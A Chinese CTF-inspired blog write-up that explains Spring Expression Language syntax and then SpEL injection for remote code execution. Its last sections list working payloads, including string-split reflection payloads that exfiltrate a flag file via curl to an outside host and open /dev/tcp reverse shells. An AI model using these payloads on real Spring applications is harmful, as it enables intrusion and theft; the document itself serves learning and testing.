SpEL 注入

做题目遇到了,就去查了一些这方面的资料,总结一下。

SpEL 简介

  • 全称为 Spring Expression Language,即 Spring 表达式语言,和 JSP 类似但是强于 JSP

  • 官方文档 : https://docs.spring.io/spring/docs/3.0.x/reference/expressions.html

  • 语法 :

    • #{...} 大括号内的字符都是 SpEL 表达式,用于引入变量,属性,方法等
    • ${...} 大括号内的是属性名
    • T(Type) 用此表示类实例,返回一个类对象,常用于引入静态常量或者静态方法
  • 用法 :

    • 注解在 @value 中

      public static class FieldValueTestBean
      
        @Value("#{ systemProperties['user.region'] }")
        private String defaultLocale;
      // systemProperties['user.region'] 是预先定义好的,赋值给 defaultLocale
        public void setDefaultLocale(String defaultLocale)
        {
          this.defaultLocale = defaultLocale;
        }
      
        public String getDefaultLocale() 
        {
          return this.defaultLocale;
        }
      
      }
    • bean 依赖

      <bean id="numberGuess" class="org.spring.samples.NumberGuess">
          <!-- 相当于将一个随机数乘 100.0 赋值给 randomNumber -->
          <property name="randomNumber" value="#{ T(java.lang.Math).random() * 100.0 }"/>
      
          <!-- other properties -->
      </bean>
    • 在代码块中使用 Expression,ExpressionParser 将字符串表达式转换为 Expression 对象,因此,parseExpression 的值将在 EvaluationContext 中可用。此EvaluationContext 将是唯一可以从中访问字符串 EL 中的所有属性和变量的对象。

      // 解析器,解析表达式
      ExpressionParser parser = new SpelExpressionParser();
      // 计算先前定义好的表达式
      Expression exp = parser.parseExpression("'Hello World'.concat('!')");
      // 获取结果 'Hello World!'
      String message = (String) exp.getValue();
  • 变量 :

    • #bean_id 获取容器内变量
    • #this 使用当前正在计算的上下文
    • #root 引用容器的 root 对象

SpEL 表达式

  • 文本表达式 : 支持字符串,日期,数字,布尔和 null

    ExpressionParser parser = new SpelExpressionParser();
    
    // evals to "Hello World"
    String helloWorld = (String) parser.parseExpression("'Hello World'").getValue(); 
    
    double avogadrosNumber  = (Double) parser.parseExpression("6.0221415E+23").getValue();  
    
    // evals to 2147483647
    int maxValue = (Integer) parser.parseExpression("0x7FFFFFFF").getValue();  
    
    boolean trueValue = (Boolean) parser.parseExpression("true").getValue();
    
    Object nullValue = parser.parseExpression("null").getValue();
  • 属性值( Properties )使用 . 来访问,数组( Arrays )和列表( Lists )使用 [] 来获取元素,字典( maps )使用 [] 和 key 访问 value

    扫描二维码关注公众号,回复: 7261239 查看本文章
    // evals to 1856
    int year = (Integer) parser.parseExpression("Birthdate.Year + 1900").getValue(context); 
    
    // Inventions Array
    StandardEvaluationContext teslaContext = new StandardEvaluationContext(tesla);
    // evaluates to "Induction motor"
    String invention = parser.parseExpression("inventions[3]").getValue(teslaContext, String.class); 
    
    // Members List
    StandardEvaluationContext societyContext = new StandardEvaluationContext(ieee);
    // evaluates to "Nikola Tesla"
    String name = parser.parseExpression("Members[0].Name").getValue(societyContext, String.class);
    
    // Officer's Dictionary
    Inventor pupin = parser.parseExpression("Officers['president']").getValue(societyContext, Inventor.class);
    // evaluates to "Idvor"
    String city = parser.parseExpression("Officers['president'].PlaceOfBirth.City").getValue(societyContext, String.class);
    // setting values
    parser.parseExpression("Officers['advisors'][0].PlaceOfBirth.Country").setValue(societyContext, "Croatia");
  • 列表( Lists )可以在表达式中直接使用 {} 表达

    // evaluates to a Java list containing the four numbers
    List numbers = (List) parser.parseExpression("{1,2,3,4}").getValue(context); 
    
    List listOfLists = (List) parser.parseExpression("{{'a','b'},{'x','y'}}").getValue(context); 
  • 数组可以在表达式中直接使用 Java 语法构建,但是多维数组不能手动初始化

    int[] numbers1 = (int[]) parser.parseExpression("new int[4]").getValue(context); 
    
    // Array with initializer
    int[] numbers2 = (int[]) parser.parseExpression("new int[]{1,2,3}").getValue(context); 
    
    // Multi dimensional array
    int[][] numbers3 = (int[][]) parser.parseExpression("new int[4][5]").getValue(context); 
  • Java 函数可以直接在表达式中使用

    // string literal, evaluates to "bc"
    String c = parser.parseExpression("'abc'.substring(2, 3)").getValue(String.class);
    
    // evaluates to true
    boolean isMember = parser.parseExpression("isMember('MihajloPupin')").getValue(societyContext, Boolean.class);
  • 可以使用关系运算,逻辑运算和数学运算

    <, >, <=, >=, ==, !=, /, %, !
    AND, OR, NOT
    +, -, *, /, %, ^
    
  • 赋值可以通过赋值运算符来完成,也可以在 setValue 函数中完成,也可以在 getValue 的调用中完成

    Inventor inventor = new Inventor();       
    StandardEvaluationContext inventorContext = new StandardEvaluationContext(inventor);
    
    parser.parseExpression("Name").setValue(inventorContext, "Alexander Seovic2");
    
    // alternatively( 或者 )
    String aleks = parser.parseExpression("Name = 'AlexandarSeovic'").getValue(inventorContext, String.class);
    
  • T(Type) 可以指定 java.lang.class 的实例,但是对于其他实例,要完全限定

    Class dateClass = parser.parseExpression("T(java.util.Date)").getValue(Class.class);
    
    Class stringClass = parser.parseExpression("T(String)").getValue(Class.class);
    
    boolean trueValue = parser.parseExpression("T(java.math.RoundingMode).CEILING < T(java.math.RoundingMode).FLOOR").getValue(Boolean.class);
    
  • 可以使用 new 调用构造函数,但是除了基元类型和字符串(其中可以使用int、float等)之外,所有的类都应该使用完全限定的类名

    Inventor einstein = p.parseExpression("new org.spring.samples.spel.inventor.Inventor('Albert Einstein', 'German')").getValue(Inventor.class);
    
    //create new inventor instance within add method of List
    p.parseExpression("Members.add(new org.spring.samples.spel.inventor.Inventor('Albert Einstein', 'German'))").getValue(societyContext);
    
  • 变量可以使用 #变量名 来进行引用,这些变量是在 StandardEvaluationContext 中使用 setVariable 赋值的

    Inventor tesla = new Inventor("Nikola Tesla", "Serbian");
    StandardEvaluationContext context = new StandardEvaluationContext(tesla);
    context.setVariable("newName", "Mike Tesla");
    // 首字母不区分大小写
    parser.parseExpression("Name = #newName").getValue(context);
    
    System.out.println(tesla.getName()) // "Mike Tesla"
    
  • 使用 #root 引用根对象,使用 #this 引用当前上下文对象。

    // create an array of integers
    List<Integer> primes = new ArrayList<Integer>();
    primes.addAll(Arrays.asList(2,3,5,7,11,13,17));
    
    // create parser and set variable 'primes' as the array of integers
    ExpressionParser parser = new SpelExpressionParser();
    StandardEvaluationContext context = new StandardEvaluationContext();
    context.setVariable("primes",primes);
    
    // all prime numbers > 10 from the list (using selection ?{...})
    // evaluates to [11, 13, 17]
    List<Integer> primesGreaterThanTen = (List<Integer>) parser.parseExpression("#primes.?[#this>10]").getValue(context);
    
  • 通过使用 StandardEvaluationContext 中的 registerFunction(String name, Method m) 函数来自定义函数

    public abstract class StringUtils {
      public static String reverseString(String input) {
        StringBuilder backwards = new StringBuilder();
        for (int i = 0; i < input.length(); i++) 
          backwards.append(input.charAt(input.length() - 1 - i));
        }
        return backwards.toString();
      }
    }
    
    ExpressionParser parser = new SpelExpressionParser();
    StandardEvaluationContext context = new StandardEvaluationContext();
    context.registerFunction("reverseString", StringUtils.class.getDeclaredMethod("reverseString", new Class[] { String.class }));
    
    String helloWorldReversed = parser.parseExpression("#reverseString('hello')").getValue(context, String.class);
    
  • 如果已使用 Bean 解析器配置了上下文,可以使用 @ 获取 Bean

    ExpressionParser parser = new SpelExpressionParser();
    StandardEvaluationContext context = new StandardEvaluationContext();
    context.setBeanResolver(new MyBeanResolver());
    
    // This will end up calling resolve(context,"foo") on MyBeanResolver during evaluation
    Object bean = parser.parseExpression("@foo").getValue(context);
    
  • 表达式允许多个文本和解析块混合使用,常以 #{} 作为分界符

    String randomPhrase = parser.parseExpression("random number is #{T(java.lang.Math).random()}", new TemplateParserContext()).getValue(String.class);
    // evaluates to "random number is 0.7038186818312008"
    

SpEL 中的 RCE

  • SpEL 有两种 EvaluationContext,StandardEcalutionContext 和 SimpleEvaluationContext

  • 两种 EvaluationContext 的区别 :

    String calc = "T(java.lang.Runtime).getRuntime().exec('calc.exe')";
    
    ExpressionParser parser = new SpelExpressionParser();
    
    StandardEvaluationContext std_danger = new StandardEvaluationContext();
    EvaluationContext simple_safe = SimpleEvaluationContext.forReadOnlyDataBinding ().build();
    
    Expression exp = parser.parseExpression(calc);
    
    // 执行命令
    Object value_1 = exp.getValue(std_danger);
    //报错
    Object value_2 = exp.getValue(simple_safe);
    
  • 在不指定 EvaluationContext 时,默认采用的是 StandardEvaluationContext,例如 Spring Data Commons 远程代码执行漏洞_CVE-2018-1273( 1.13-1.13.10, 2.0-2.0.5 ),SpringBoot SpEL表达式注入漏洞( 1.1.0-1.1.12, 1.2.0-1.2.7, 1.3.0 ),

  • payload :

    // http://rui0.cn/archives/1043
    
    ${12*12}
    T(java.lang.Runtime).getRuntime().exec("nslookup a.com")
    T(Thread).sleep(10000)
    #this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup a.com')
    new java.lang.ProcessBuilder({'nslookup a.com'}).start()
    
    // 利用反射构造
    #{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","curl fg5hme.ceye.io/`cat flag_j4v4_chun|base64|tr '\n' '-'`"})}
    
    // 利用 ScriptEngineManager 构造
    #{T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='/bin/bash';s[1]='-c';s[2]='ex"+"ec 5<>/dev/tcp/1.2.3.4/2333;cat <&5 | while read line; do $line 2>&5 >&5; done';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")}
    

反射构造 RCE 的分析

  • 关于反射 : Java 反射机制

  • 根据源码,不难看出,getRuntime 是返回一个 Runtime 的实例化对象,Runtime.getRuntime 就是实例化一个 Runtime 对象,接着调用 Runtime 类的 exec 函数

    reflect_payload_1

  • 在 windows 上利用 Runtime 打开计算器的代码如下 :

    Runtime.getRuntime().exec(new String[]{"cmd","/c","C:\\Windows\\System32\\calc.exe"});
    
  • 利用反射打开计算器的代码如下 :

    "".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime"), new String[]{"cmd","/c","C:\\Windows\\System32\\calc.exe"});
    
    • "".getClass().forName("java.lang.Runtime") 获取 String 类并转换为 Runtime 类
    • getMethod("exec","".getClass()) 获取 Runtime 类的 exec 函数,并说明 exec 函数的参数类型为 String
    • invoke("".getClass().forName("java.lang.Runtime"), new String[]{"cmd","/c","C:\\Windows\\System32\\calc.exe"}) 执行 exec 函数,第一个参数为含有 exec 函数的对象,第二个参数为 exec 函数的参数
  • 这样虽然能够打开计算器,但是会报错,"".getClass().forName("java.lang.Runtime") 返回的是类,而不是对象,所以要再使用 getRuntime 来实例化一个对象,最终 payload 如下

    "".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke(("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke("".getClass().forName("java.lang.Runtime"),null)), new String[]{"cmd","/c","C:\\Windows\\System32\\calc.exe"});
    
  • 那么 RCE 就可以写成反弹 shell 的形式 :

    "".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke(("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke("".getClass().forName("java.lang.Runtime"),null)), new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"});
    

猜你喜欢

转载自www.cnblogs.com/peri0d/p/11508913.html
今日推荐